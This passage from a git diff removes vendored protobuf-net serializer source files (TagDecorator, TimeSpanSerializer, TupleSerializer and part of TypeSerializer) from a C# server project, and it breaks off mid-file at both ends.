value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadType(); - } -#endif - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteType", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadType", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/TagDecorator.cs b/Server/Core/ProtoBuf/Serializers/TagDecorator.cs deleted file mode 100644 index eba52a8a..00000000 --- a/Server/Core/ProtoBuf/Serializers/TagDecorator.cs +++ /dev/null @@ -1,130 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class TagDecorator : ProtoDecoratorBase, IProtoTypeSerializer - { - public bool HasCallbacks(TypeModel.CallbackType callbackType) - { - IProtoTypeSerializer pts = Tail as IProtoTypeSerializer; - return pts != null && pts.HasCallbacks(callbackType); - } - - public bool CanCreateInstance() - { - IProtoTypeSerializer pts = Tail as IProtoTypeSerializer; - return pts != null && pts.CanCreateInstance(); - } - -#if !FEAT_IKVM - public object CreateInstance(ProtoReader source) - { - return ((IProtoTypeSerializer) Tail).CreateInstance(source); - } - - public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) - { - IProtoTypeSerializer pts = Tail as IProtoTypeSerializer; - if (pts != null) pts.Callback(value, callbackType, context); - } -#endif -#if FEAT_COMPILER - public void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) - { - // we only expect this to be invoked if HasCallbacks returned true, so implicitly Tail - // **must** be of the correct type - ((IProtoTypeSerializer)Tail).EmitCallback(ctx, valueFrom, callbackType); - } - public void EmitCreateInstance(Compiler.CompilerContext ctx) - { - ((IProtoTypeSerializer)Tail).EmitCreateInstance(ctx); - } -#endif - - public override Type ExpectedType - { - get { return Tail.ExpectedType; } - } - - public TagDecorator(int fieldNumber, WireType wireType, bool strict, IProtoSerializer tail) - : base(tail) - { - this.fieldNumber = fieldNumber; - this.wireType = wireType; - this.strict = strict; - } - - public override bool RequiresOldValue - { - get { return Tail.RequiresOldValue; } - } - - public override bool ReturnsValue - { - get { return Tail.ReturnsValue; } - } - - private readonly bool strict; - private readonly int fieldNumber; - private readonly WireType wireType; - - private bool NeedsHint - { - get { return ((int) wireType & ~7) != 0; } - } - -#if !FEAT_IKVM - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(fieldNumber == source.FieldNumber); - if (strict) - { - source.Assert(wireType); - } - else if (NeedsHint) - { - source.Hint(wireType); - } - return Tail.Read(value, source); - } - - public override void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteFieldHeader(fieldNumber, wireType, dest); - Tail.Write(value, dest); - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue((int)fieldNumber); - ctx.LoadValue((int)wireType); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader")); - Tail.EmitWrite(ctx, valueFrom); - } - protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - if (strict || NeedsHint) - { - ctx.LoadReaderWriter(); - ctx.LoadValue((int)wireType); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod(strict ? "Assert" : "Hint")); - } - Tail.EmitRead(ctx, valueFrom); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/TimeSpanSerializer.cs b/Server/Core/ProtoBuf/Serializers/TimeSpanSerializer.cs deleted file mode 100644 index b9a4e809..00000000 --- a/Server/Core/ProtoBuf/Serializers/TimeSpanSerializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class TimeSpanSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (TimeSpan); -#endif - - public TimeSpanSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(TimeSpan)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return BclHelpers.ReadTimeSpan(source); - } - - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteTimeSpan((TimeSpan) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteTimeSpan", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadTimeSpan", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/TupleSerializer.cs b/Server/Core/ProtoBuf/Serializers/TupleSerializer.cs deleted file mode 100644 index 8e0da209..00000000 --- a/Server/Core/ProtoBuf/Serializers/TupleSerializer.cs +++ /dev/null @@ -1,378 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class TupleSerializer : IProtoTypeSerializer - { - private readonly MemberInfo[] members; - private readonly ConstructorInfo ctor; - private IProtoSerializer[] tails; - - public TupleSerializer(RuntimeTypeModel model, ConstructorInfo ctor, MemberInfo[] members) - { - if (ctor == null) throw new ArgumentNullException("ctor"); - if (members == null) throw new ArgumentNullException("members"); - this.ctor = ctor; - this.members = members; - this.tails = new IProtoSerializer[members.Length]; - - ParameterInfo[] parameters = ctor.GetParameters(); - for (int i = 0; i < members.Length; i++) - { - WireType wireType; - Type finalType = parameters[i].ParameterType; - - Type itemType = null, defaultType = null; - - MetaType.ResolveListTypes(model, finalType, ref itemType, ref defaultType); - Type tmp = itemType == null ? finalType : itemType; - - bool asReference = false; - int typeIndex = model.FindOrAddAuto(tmp, false, true, false); - if (typeIndex >= 0) - { - asReference = model[tmp].AsReferenceDefault; - } - IProtoSerializer tail = ValueMember.TryGetCoreSerializer(model, DataFormat.Default, tmp, out wireType, - asReference, false, false, true), - serializer; - if (tail == null) - { - throw new InvalidOperationException("No serializer defined for type: " + tmp.FullName); - } - - tail = new TagDecorator(i + 1, wireType, false, tail); - if (itemType == null) - { - serializer = tail; - } - else - { - if (finalType.IsArray) - { - serializer = new ArrayDecorator(model, tail, i + 1, false, wireType, finalType, false, false); - } - else - { - serializer = ListDecorator.Create(model, finalType, defaultType, tail, i + 1, false, wireType, - true, false, false); - } - } - tails[i] = serializer; - } - } - - public bool HasCallbacks(Meta.TypeModel.CallbackType callbackType) - { - return false; - } - -#if FEAT_COMPILER - public void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, Meta.TypeModel.CallbackType callbackType){} -#endif - - public Type ExpectedType - { - get { return ctor.DeclaringType; } - } - - -#if !FEAT_IKVM - void IProtoTypeSerializer.Callback(object value, Meta.TypeModel.CallbackType callbackType, - SerializationContext context) - { - } - - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - throw new NotSupportedException(); - } - - private object GetValue(object obj, int index) - { - PropertyInfo prop; - FieldInfo field; - - if ((prop = members[index] as PropertyInfo) != null) - { - if (obj == null) - return Helpers.IsValueType(prop.PropertyType) ? Activator.CreateInstance(prop.PropertyType) : null; - return prop.GetValue(obj, null); - } - else if ((field = members[index] as FieldInfo) != null) - { - if (obj == null) - return Helpers.IsValueType(field.FieldType) ? Activator.CreateInstance(field.FieldType) : null; - return field.GetValue(obj); - } - else - { - throw new InvalidOperationException(); - } - } - - public object Read(object value, ProtoReader source) - { - object[] values = new object[members.Length]; - bool invokeCtor = false; - if (value == null) - { - invokeCtor = true; - } - for (int i = 0; i < values.Length; i++) - values[i] = GetValue(value, i); - int field; - while ((field = source.ReadFieldHeader()) > 0) - { - invokeCtor = true; - if (field <= tails.Length) - { - IProtoSerializer tail = tails[field - 1]; - values[field - 1] = tails[field - 1].Read(tail.RequiresOldValue ? values[field - 1] : null, source); - } - else - { - source.SkipField(); - } - } - return invokeCtor ? ctor.Invoke(values) : value; - } - - public void Write(object value, ProtoWriter dest) - { - for (int i = 0; i < tails.Length; i++) - { - object val = GetValue(value, i); - if (val != null) tails[i].Write(val, dest); - } - } -#endif - - public bool RequiresOldValue - { - get { return true; } - } - - public bool ReturnsValue - { - get { return false; } - } - - private Type GetMemberType(int index) - { - Type result = Helpers.GetMemberType(members[index]); - if (result == null) throw new InvalidOperationException(); - return result; - } - - bool IProtoTypeSerializer.CanCreateInstance() - { - return false; - } - -#if FEAT_COMPILER - public void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using (Compiler.Local loc = ctx.GetLocalWithValue(ctor.DeclaringType, valueFrom)) - { - for (int i = 0; i < tails.Length; i++) - { - Type type = GetMemberType(i); - ctx.LoadAddress(loc, ExpectedType); - switch(members[i].MemberType) - { - case MemberTypes.Field: - ctx.LoadValue((FieldInfo)members[i]); - break; - case MemberTypes.Property: - ctx.LoadValue((PropertyInfo)members[i]); - break; - } - ctx.WriteNullCheckedTail(type, tails[i], null); - } - } - } - - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) { throw new NotSupportedException(); } - - public void EmitRead(Compiler.CompilerContext ctx, Compiler.Local incoming) - { - using (Compiler.Local objValue = ctx.GetLocalWithValue(ExpectedType, incoming)) - { - Compiler.Local[] locals = new Compiler.Local[members.Length]; - try - { - for (int i = 0; i < locals.Length; i++) - { - Type type = GetMemberType(i); - bool store = true; - locals[i] = new Compiler.Local(ctx, type); - if (!ExpectedType.IsValueType) - { - // value-types always read the old value - if (type.IsValueType) - { - switch (Helpers.GetTypeCode(type)) - { - case ProtoTypeCode.Boolean: - case ProtoTypeCode.Byte: - case ProtoTypeCode.Int16: - case ProtoTypeCode.Int32: - case ProtoTypeCode.SByte: - case ProtoTypeCode.UInt16: - case ProtoTypeCode.UInt32: - ctx.LoadValue(0); - break; - case ProtoTypeCode.Int64: - case ProtoTypeCode.UInt64: - ctx.LoadValue(0L); - break; - case ProtoTypeCode.Single: - ctx.LoadValue(0.0F); - break; - case ProtoTypeCode.Double: - ctx.LoadValue(0.0D); - break; - case ProtoTypeCode.Decimal: - ctx.LoadValue(0M); - break; - case ProtoTypeCode.Guid: - ctx.LoadValue(Guid.Empty); - break; - default: - ctx.LoadAddress(locals[i], type); - ctx.EmitCtor(type); - store = false; - break; - } - } - else - { - ctx.LoadNullRef(); - } - if (store) - { - ctx.StoreValue(locals[i]); - } - } - } - - Compiler.CodeLabel skipOld = ExpectedType.IsValueType - ? new Compiler.CodeLabel() - : ctx.DefineLabel(); - if (!ExpectedType.IsValueType) - { - ctx.LoadAddress(objValue, ExpectedType); - ctx.BranchIfFalse(skipOld, false); - } - for (int i = 0; i < members.Length; i++) - { - ctx.LoadAddress(objValue, ExpectedType); - switch (members[i].MemberType) - { - case MemberTypes.Field: - ctx.LoadValue((FieldInfo) members[i]); - break; - case MemberTypes.Property: - ctx.LoadValue((PropertyInfo) members[i]); - break; - } - ctx.StoreValue(locals[i]); - } - - if (!ExpectedType.IsValueType) ctx.MarkLabel(skipOld); - - using (Compiler.Local fieldNumber = new Compiler.Local(ctx, ctx.MapType(typeof (int)))) - { - Compiler.CodeLabel @continue = ctx.DefineLabel(), - processField = ctx.DefineLabel(), - notRecognised = ctx.DefineLabel(); - ctx.Branch(@continue, false); - - Compiler.CodeLabel[] handlers = new Compiler.CodeLabel[members.Length]; - for (int i = 0; i < members.Length; i++) - { - handlers[i] = ctx.DefineLabel(); - } - - ctx.MarkLabel(processField); - - ctx.LoadValue(fieldNumber); - ctx.LoadValue(1); - ctx.Subtract(); // jump-table is zero-based - ctx.Switch(handlers); - - // and the default: - ctx.Branch(notRecognised, false); - for (int i = 0; i < handlers.Length; i++) - { - ctx.MarkLabel(handlers[i]); - IProtoSerializer tail = tails[i]; - Compiler.Local oldValIfNeeded = tail.RequiresOldValue ? locals[i] : null; - ctx.ReadNullCheckedTail(locals[i].Type, tail, oldValIfNeeded); - if (tail.ReturnsValue) - { - if (locals[i].Type.IsValueType) - { - ctx.StoreValue(locals[i]); - } - else - { - Compiler.CodeLabel hasValue = ctx.DefineLabel(), allDone = ctx.DefineLabel(); - - ctx.CopyValue(); - ctx.BranchIfTrue(hasValue, true); // interpret null as "don't assign" - ctx.DiscardValue(); - ctx.Branch(allDone, true); - ctx.MarkLabel(hasValue); - ctx.StoreValue(locals[i]); - ctx.MarkLabel(allDone); - } - } - ctx.Branch(@continue, false); - } - - ctx.MarkLabel(notRecognised); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof (ProtoReader)).GetMethod("SkipField")); - - ctx.MarkLabel(@continue); - ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof (int))); - ctx.CopyValue(); - ctx.StoreValue(fieldNumber); - ctx.LoadValue(0); - ctx.BranchIfGreater(processField, false); - } - for (int i = 0; i < locals.Length; i++) - { - ctx.LoadValue(locals[i]); - } - - ctx.EmitCtor(ctor); - ctx.StoreValue(objValue); - } - finally - { - for (int i = 0; i < locals.Length; i++) - { - if (locals[i] != null) - locals[i].Dispose(); // release for re-use - } - } - } - - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/TypeSerializer.cs b/Server/Core/ProtoBuf/Serializers/TypeSerializer.cs deleted file mode 100644 index cd555c70..00000000 --- a/Server/Core/ProtoBuf/Serializers/TypeSerializer.cs +++ /dev/null @@ -1,797 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_COMPILER - -#endif -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class TypeSerializer : IProtoTypeSerializer - { - public bool HasCallbacks(TypeModel.CallbackType callbackType) - { - if (callbacks != null && callbacks[callbackType] != null) return true; - for (int i = 0; i < serializers.Length; i++) - { - if (serializers[i].ExpectedType != forType && - ((IProtoTypeSerializer) serializers[i]).HasCallbacks(callbackType)) return true; - } - return false; - } - - private readonly Type forType, constructType; -#if WINRT - private readonly TypeInfo typeInfo; -#endif - - public Type ExpectedType - { - get { return forType; } - } - - private readonly IProtoSerializer[] serializers; - private readonly int[] fieldNumbers; - private readonly bool isRootType, useConstructor, isExtensible, hasConstructor; - private readonly CallbackSet callbacks; - private readonly MethodInfo[] baseCtorCallbacks; - private readonly MethodInfo factory; - - public TypeSerializer(TypeModel model, Type forType, int[] fieldNumbers, IProtoSerializer[] serializers, - MethodInfo[] baseCtorCallbacks, bool isRootType, bool useConstructor, CallbackSet callbacks, - Type constructType, MethodInfo factory) - { - Helpers.DebugAssert(forType != null); - Helpers.DebugAssert(fieldNumbers != null); - Helpers.DebugAssert(serializers != null); - Helpers.DebugAssert(fieldNumbers.Length == serializers.Length); - - Helpers.Sort(fieldNumbers, serializers); - bool hasSubTypes = false; - for (int i = 1; i < fieldNumbers.Length; i++) - { - if (fieldNumbers[i] == fieldNumbers[i - 1]) - throw new InvalidOperationException("Duplicate field-number detected; " + - fieldNumbers[i].ToString() + " on: " + forType.FullName); - if (!hasSubTypes && serializers[i].ExpectedType != forType) - { - hasSubTypes = true; - } - } - this.forType = forType; - this.factory = factory; -#if WINRT - this.typeInfo = forType.GetTypeInfo(); -#endif - if (constructType == null) - { - constructType = forType; - } - else - { -#if WINRT - if (!typeInfo.IsAssignableFrom(constructType.GetTypeInfo())) -#else - if (!forType.IsAssignableFrom(constructType)) -#endif - { - throw new InvalidOperationException(forType.FullName + " cannot be assigned from " + - constructType.FullName); - } - } - this.constructType = constructType; - this.serializers = serializers; - this.fieldNumbers = fieldNumbers; - this.callbacks = callbacks; - this.isRootType = isRootType; - this.useConstructor = useConstructor; - - if (baseCtorCallbacks != null && baseCtorCallbacks.Length == 0) baseCtorCallbacks = null; - this.baseCtorCallbacks = baseCtorCallbacks; -#if !NO_GENERICS - if (Helpers.GetUnderlyingType(forType) != null) - { - throw new ArgumentException("Cannot create a TypeSerializer for nullable types", "forType"); - } -#endif - -#if WINRT - if (iextensible.IsAssignableFrom(typeInfo)) - { - if (typeInfo.IsValueType || !isRootType || hasSubTypes) -#else - if (model.MapType(iextensible).IsAssignableFrom(forType)) - { - if (forType.IsValueType || !isRootType || hasSubTypes) -#endif - { - throw new NotSupportedException( - "IExtensible is not supported in structs or classes with inheritance"); - } - isExtensible = true; - } -#if WINRT - TypeInfo constructTypeInfo = constructType.GetTypeInfo(); - hasConstructor = !constructTypeInfo.IsAbstract && Helpers.GetConstructor(constructTypeInfo, Helpers.EmptyTypes, true) != null; -#else - hasConstructor = !constructType.IsAbstract && - Helpers.GetConstructor(constructType, Helpers.EmptyTypes, true) != null; -#endif - if (constructType != forType && useConstructor && !hasConstructor) - { - throw new ArgumentException( - "The supplied default implementation cannot be created: " + constructType.FullName, "constructType"); - } - } - -#if WINRT - private static readonly TypeInfo iextensible = typeof(IExtensible).GetTypeInfo(); -#else - private static readonly System.Type iextensible = typeof (IExtensible); -#endif - - private bool CanHaveInheritance - { - get - { -#if WINRT - return (typeInfo.IsClass || typeInfo.IsInterface) && !typeInfo.IsSealed; -#else - return (forType.IsClass || forType.IsInterface) && !forType.IsSealed; -#endif - } - } - - bool IProtoTypeSerializer.CanCreateInstance() - { - return true; - } - -#if !FEAT_IKVM - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - return CreateInstance(source, false); - } - - public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) - { - if (callbacks != null) InvokeCallback(callbacks[callbackType], value, context); - IProtoTypeSerializer ser = (IProtoTypeSerializer) GetMoreSpecificSerializer(value); - if (ser != null) ser.Callback(value, callbackType, context); - } - - private IProtoSerializer GetMoreSpecificSerializer(object value) - { - if (!CanHaveInheritance) return null; - Type actualType = value.GetType(); - if (actualType == forType) return null; - - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - if (ser.ExpectedType != forType && Helpers.IsAssignableFrom(ser.ExpectedType, actualType)) - { - return ser; - } - } - if (actualType == constructType) - return null; // needs to be last in case the default concrete type is also a known sub-type - TypeModel.ThrowUnexpectedSubtype(forType, actualType); // might throw (if not a proxy) - return null; - } - - public void Write(object value, ProtoWriter dest) - { - if (isRootType) Callback(value, TypeModel.CallbackType.BeforeSerialize, dest.Context); - // write inheritance first - IProtoSerializer next = GetMoreSpecificSerializer(value); - if (next != null) next.Write(value, dest); - - // write all actual fields - //Helpers.DebugWriteLine(">> Writing fields for " + forType.FullName); - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - if (ser.ExpectedType == forType) - { - //Helpers.DebugWriteLine(": " + ser.ToString()); - ser.Write(value, dest); - } - } - //Helpers.DebugWriteLine("<< Writing fields for " + forType.FullName); - if (isExtensible) ProtoWriter.AppendExtensionData((IExtensible) value, dest); - if (isRootType) Callback(value, TypeModel.CallbackType.AfterSerialize, dest.Context); - } - - public object Read(object value, ProtoReader source) - { - if (isRootType && value != null) - { - Callback(value, TypeModel.CallbackType.BeforeDeserialize, source.Context); - } - int fieldNumber, lastFieldNumber = 0, lastFieldIndex = 0; - bool fieldHandled; - - //Helpers.DebugWriteLine(">> Reading fields for " + forType.FullName); - while ((fieldNumber = source.ReadFieldHeader()) > 0) - { - fieldHandled = false; - if (fieldNumber < lastFieldNumber) - { - lastFieldNumber = lastFieldIndex = 0; - } - for (int i = lastFieldIndex; i < fieldNumbers.Length; i++) - { - if (fieldNumbers[i] == fieldNumber) - { - IProtoSerializer ser = serializers[i]; - //Helpers.DebugWriteLine(": " + ser.ToString()); - Type serType = ser.ExpectedType; - if (value == null) - { - if (serType == forType) value = CreateInstance(source, true); - } - else - { - if (serType != forType && ((IProtoTypeSerializer) ser).CanCreateInstance() - && serType -#if WINRT - .GetTypeInfo() -#endif - .IsSubclassOf(value.GetType())) - { - value = ProtoReader.Merge(source, value, - ((IProtoTypeSerializer) ser).CreateInstance(source)); - } - } - - if (ser.ReturnsValue) - { - value = ser.Read(value, source); - } - else - { - // pop - ser.Read(value, source); - } - - lastFieldIndex = i; - lastFieldNumber = fieldNumber; - fieldHandled = true; - break; - } - } - if (!fieldHandled) - { - //Helpers.DebugWriteLine(": [" + fieldNumber + "] (unknown)"); - if (value == null) value = CreateInstance(source, true); - if (isExtensible) - { - source.AppendExtensionData((IExtensible) value); - } - else - { - source.SkipField(); - } - } - } - //Helpers.DebugWriteLine("<< Reading fields for " + forType.FullName); - if (value == null) value = CreateInstance(source, true); - if (isRootType) - { - Callback(value, TypeModel.CallbackType.AfterDeserialize, source.Context); - } - return value; - } - - - private object InvokeCallback(MethodInfo method, object obj, SerializationContext context) - { - object result = null; - object[] args; - if (method != null) - { - // pass in a streaming context if one is needed, else null - bool handled; - ParameterInfo[] parameters = method.GetParameters(); - switch (parameters.Length) - { - case 0: - args = null; - handled = true; - break; - default: - args = new object[parameters.Length]; - handled = true; - for (int i = 0; i < args.Length; i++) - { - object val; - Type paramType = parameters[i].ParameterType; - if (paramType == typeof (SerializationContext)) val = context; - else if (paramType == typeof (System.Type)) val = constructType; -#if PLAT_BINARYFORMATTER || (SILVERLIGHT && NET_4_0) - else if (paramType == typeof(System.Runtime.Serialization.StreamingContext)) val = (System.Runtime.Serialization.StreamingContext)context; -#endif - else - { - val = null; - handled = false; - } - args[i] = val; - } - break; - } - if (handled) - { - result = method.Invoke(obj, args); - } - else - { - throw Meta.CallbackSet.CreateInvalidCallbackSignature(method); - } - } - return result; - } - - private object CreateInstance(ProtoReader source, bool includeLocalCallback) - { - //Helpers.DebugWriteLine("* creating : " + forType.FullName); - object obj; - if (factory != null) - { - obj = InvokeCallback(factory, null, source.Context); - } - else if (useConstructor) - { - if (!hasConstructor) TypeModel.ThrowCannotCreateInstance(constructType); - obj = Activator.CreateInstance(constructType -#if !CF && !SILVERLIGHT && !WINRT && !PORTABLE - , true -#endif - ); - } - else - { - obj = BclHelpers.GetUninitializedObject(constructType); - } - ProtoReader.NoteObject(obj, source); - if (baseCtorCallbacks != null) - { - for (int i = 0; i < baseCtorCallbacks.Length; i++) - { - InvokeCallback(baseCtorCallbacks[i], obj, source.Context); - } - } - if (includeLocalCallback && callbacks != null) - InvokeCallback(callbacks.BeforeDeserialize, obj, source.Context); - return obj; - } -#endif - - bool IProtoSerializer.RequiresOldValue - { - get { return true; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return false; } - } // updates field directly -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Type expected = ExpectedType; - using (Compiler.Local loc = ctx.GetLocalWithValue(expected, valueFrom)) - { - // pre-callbacks - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.BeforeSerialize); - - Compiler.CodeLabel startFields = ctx.DefineLabel(); - // inheritance - if (CanHaveInheritance) - { - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - Type serType = ser.ExpectedType; - if (serType != forType) - { - Compiler.CodeLabel ifMatch = ctx.DefineLabel(), nextTest = ctx.DefineLabel(); - ctx.LoadValue(loc); - ctx.TryCast(serType); - ctx.CopyValue(); - ctx.BranchIfTrue(ifMatch, true); - ctx.DiscardValue(); - ctx.Branch(nextTest, true); - ctx.MarkLabel(ifMatch); - ser.EmitWrite(ctx, null); - ctx.Branch(startFields, false); - ctx.MarkLabel(nextTest); - } - } - - - if (constructType != null && constructType != forType) - { - using(Compiler.Local actualType = new Compiler.Local(ctx, ctx.MapType(typeof(System.Type)))) - { - // would have jumped to "fields" if an expected sub-type, so two options: - // a: *exactly* that type, b: an *unexpected* type - ctx.LoadValue(loc); - ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType")); - ctx.CopyValue(); - ctx.StoreValue(actualType); - ctx.LoadValue(forType); - ctx.BranchIfEqual(startFields, true); - - ctx.LoadValue(actualType); - ctx.LoadValue(constructType); - ctx.BranchIfEqual(startFields, true); - } - } - else - { - // would have jumped to "fields" if an expected sub-type, so two options: - // a: *exactly* that type, b: an *unexpected* type - ctx.LoadValue(loc); - ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType")); - ctx.LoadValue(forType); - ctx.BranchIfEqual(startFields, true); - } - // unexpected, then... note that this *might* be a proxy, which - // is handled by ThrowUnexpectedSubtype - ctx.LoadValue(forType); - ctx.LoadValue(loc); - ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("GetType")); - ctx.EmitCall(ctx.MapType(typeof(TypeModel)).GetMethod("ThrowUnexpectedSubtype", - BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static)); - - } - // fields - - ctx.MarkLabel(startFields); - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - if (ser.ExpectedType == forType) ser.EmitWrite(ctx, loc); - } - - // extension data - if (isExtensible) - { - ctx.LoadValue(loc); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("AppendExtensionData")); - } - // post-callbacks - EmitCallbackIfNeeded(ctx, loc, TypeModel.CallbackType.AfterSerialize); - } - } - static void EmitInvokeCallback(Compiler.CompilerContext ctx, MethodInfo method, bool copyValue, Type constructType, Type type) - { - if (method != null) - { - if(copyValue) ctx.CopyValue(); // assumes the target is on the stack, and that we want to *retain* it on the stack - ParameterInfo[] parameters = method.GetParameters(); - bool handled = true; - - for (int i = 0; i < parameters.Length; i++) - { - Type parameterType = parameters[0].ParameterType; - if (parameterType == ctx.MapType(typeof(SerializationContext))) - { - ctx.LoadSerializationContext(); - } - else if (parameterType == ctx.MapType(typeof(System.Type))) - { - Type tmp = constructType; - if (tmp == null) tmp = type; // no ?? in some C# profiles - ctx.LoadValue(tmp); - } -#if PLAT_BINARYFORMATTER - else if (parameterType == ctx.MapType(typeof(System.Runtime.Serialization.StreamingContext))) - { - ctx.LoadSerializationContext(); - MethodInfo op = ctx.MapType(typeof(SerializationContext)).GetMethod("op_Implicit", new Type[] { ctx.MapType(typeof(SerializationContext)) }); - if (op != null) - { // it isn't always! (framework versions, etc) - ctx.EmitCall(op); - handled = true; - } - } -#endif - else - { - handled = false; - } - } - if (handled) - { - ctx.EmitCall(method); - if (constructType != null) - { - if (method.ReturnType == ctx.MapType(typeof(object))) - { - ctx.CastFromObject(type); - } - } - } - else - { - throw Meta.CallbackSet.CreateInvalidCallbackSignature(method); - } - } - } - private void EmitCallbackIfNeeded(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) { - Helpers.DebugAssert(valueFrom != null); - if (isRootType && ((IProtoTypeSerializer)this).HasCallbacks(callbackType)) - { - ((IProtoTypeSerializer)this).EmitCallback(ctx, valueFrom, callbackType); - } - } - void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) - { - bool actuallyHasInheritance = false; - if (CanHaveInheritance) - { - - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - if (ser.ExpectedType != forType && ((IProtoTypeSerializer)ser).HasCallbacks(callbackType)) - { - actuallyHasInheritance = true; - } - } - } - - Helpers.DebugAssert(((IProtoTypeSerializer)this).HasCallbacks(callbackType), "Shouldn't be calling this if there is nothing to do"); - MethodInfo method = callbacks == null ? null : callbacks[callbackType]; - if(method == null && !actuallyHasInheritance) - { - return; - } - ctx.LoadAddress(valueFrom, ExpectedType); - EmitInvokeCallback(ctx, method, actuallyHasInheritance, null, forType); - - if (actuallyHasInheritance) - { - Compiler.CodeLabel @break = ctx.DefineLabel(); - for (int i = 0; i < serializers.Length; i++) - { - IProtoSerializer ser = serializers[i]; - IProtoTypeSerializer typeser; - Type serType = ser.ExpectedType; - if (serType != forType && - (typeser = (IProtoTypeSerializer) ser).HasCallbacks(callbackType)) - { - Compiler.CodeLabel ifMatch = ctx.DefineLabel(), nextTest = ctx.DefineLabel(); - ctx.CopyValue(); - ctx.TryCast(serType); - ctx.CopyValue(); - ctx.BranchIfTrue(ifMatch, true); - ctx.DiscardValue(); - ctx.Branch(nextTest, false); - ctx.MarkLabel(ifMatch); - typeser.EmitCallback(ctx, null, callbackType); - ctx.Branch(@break, false); - ctx.MarkLabel(nextTest); - } - } - ctx.MarkLabel(@break); - ctx.DiscardValue(); - } - } - - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Type expected = ExpectedType; - Helpers.DebugAssert(valueFrom != null); - - using (Compiler.Local loc = ctx.GetLocalWithValue(expected, valueFrom)) - using (Compiler.Local fieldNumber = new 